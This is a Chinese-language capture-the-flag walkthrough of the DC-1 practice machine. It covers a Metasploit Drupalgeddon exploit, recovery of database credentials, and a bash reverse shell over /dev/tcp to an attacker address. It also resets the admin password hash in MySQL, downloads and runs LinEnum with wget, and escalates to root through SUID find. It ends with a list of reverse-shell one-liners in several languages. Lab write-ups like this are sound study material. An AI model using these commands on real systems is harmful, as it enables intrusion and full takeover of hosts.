靶機介紹
這次的靶機滲透實戰是一個找尋靶機中的flag的過程,并以獲得最終的flag為目标。靶機下載下傳位址:(http://www.five86.com/dc-1.html)
資訊搜集
直接通路頁面,根據經驗應該為drupal的網站,從web入手,找該cms漏洞利用工具

同時上nmap進行端口掃描,檢視開啟的服務及是否有敏感資訊檔案
可知開放22、80、110端口,linux主機 網站CMS确定為Drupal版本号為7
滲透實戰
- 直接msf查詢該Drupal子產品并直接利用drupal_drupageddon子產品擷取webshell
- 檢視本地檔案目錄發現flag1.txt
meterpreter > sysinfo
Computer : DC-1
OS : Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
Meterpreter : php/linux
複制
meterpreter > cat flag1.txt
Every good CMS needs a config file - and so do you
# 提示檢視配置檔案
複制
- 通過在網站根目錄查找關鍵字,找到配置檔案為site/setting.php,其中有帳号密碼
find . -type f | xargs grep "password"
- 打開配置檔案,發現flag2,并提示爆破不能進入背景,嘗試其他方式,先連接配接本地mysql資料庫檢視是否有背景明文密碼
meterpreter > cat settings.php
<?php
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
複制
注意
- 切換到shell連接配接mysql,發現不能回顯,無法進入互動界面
- 用bash回彈一個shell
- 本地監聽2222端口
nc -lvp 2222
- 反彈bash,擷取到一個可以互動的shell
python -c "import pty;pty.spawn('/bin/bash')" # 擷取一個互動shellbash -i >& /dev/tcp/172.16.0.10/2222 0>&1 # 反彈bash
- 重新連接配接本地資料庫
mysql -udbuser -pR0ck3t
- 檢視網站使用者賬号密碼,發現密碼經過加密
select * from users \G;
mysql> select * from users \G;
uid: 1
name: admin
pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
mail: [email protected]
theme:
signature:
signature_format: NULL
created: 1550581826
access: 1550583852
login: 1550582362
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: [email protected]
data: b:0;
複制
- 根據提示需要進入背景,這個密文用john工具也無法解密,那直接把admin密碼改掉,強上背景,檢視網站本地發現有腳本對設定的密碼進行加密,針對弱密碼123456根據網站規則加密
php scripts/password-hash.sh 123456
php scripts/password-hash.sh 123456
password: 123456
hash: $S$DqoimnZKpzNbUFgNiiGexSM.Z29/UXOFtPunnZY0nSHhJBi3RdNP
www-data@DC-1:/var/www$
複制
- 将加密的密碼更新到資料庫中
update users set pass='SDRP9A87VYWMUnTb4Dl7yivYAlibCNONO32cCB3Qc1LT5Alr90rAu' where uid=1;
- 通過robots.txt知道登入位址,通過admin登入成功檢視flag3
- 使用設定好的密碼:123456,登陸admin賬戶,在content頁面發現了flag3
- 提示我們特殊的權限有助于發現隐藏内容,這裡提到了shadow這個單詞,于是立即想到/etc/passwd,先打開看看再說
- 檢視使用者發現flag4使用者,直接打開flag4.txt,提示要進入root目錄,即需要提權至root使用者
- 檢視權限檔案,發現可以通過find指令suid提權
- 可使用提權輔助腳本
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
複制
- 或者直接檢視權限指令
find / -perm -u=s -type f 2>/dev/nullfind / -perm /4000 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
複制
- find指令suid提權
touch test # 建立一個空檔案find test -exec 'whoami' \; #檢視是否提權find test -exec '/bin/sh' \;#将root的bash反彈
-----------至此獲得所有的flag!!!---------
總結
- 反彈bash的不同腳本指令,在指令互動無法傳回結果時考慮換一個shell
python: python -c "import pty;pty.spawn('/bin/bash')"
ruby: ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
nc: nc -e /bin/bash ip port
php:<?php
$sock=fsockopen("ip",port);//自己的外網ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>
複制
- SUID提權常用反彈shell
find test -exec '/bin/sh' \;
- 提權輔助腳本可以使用LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh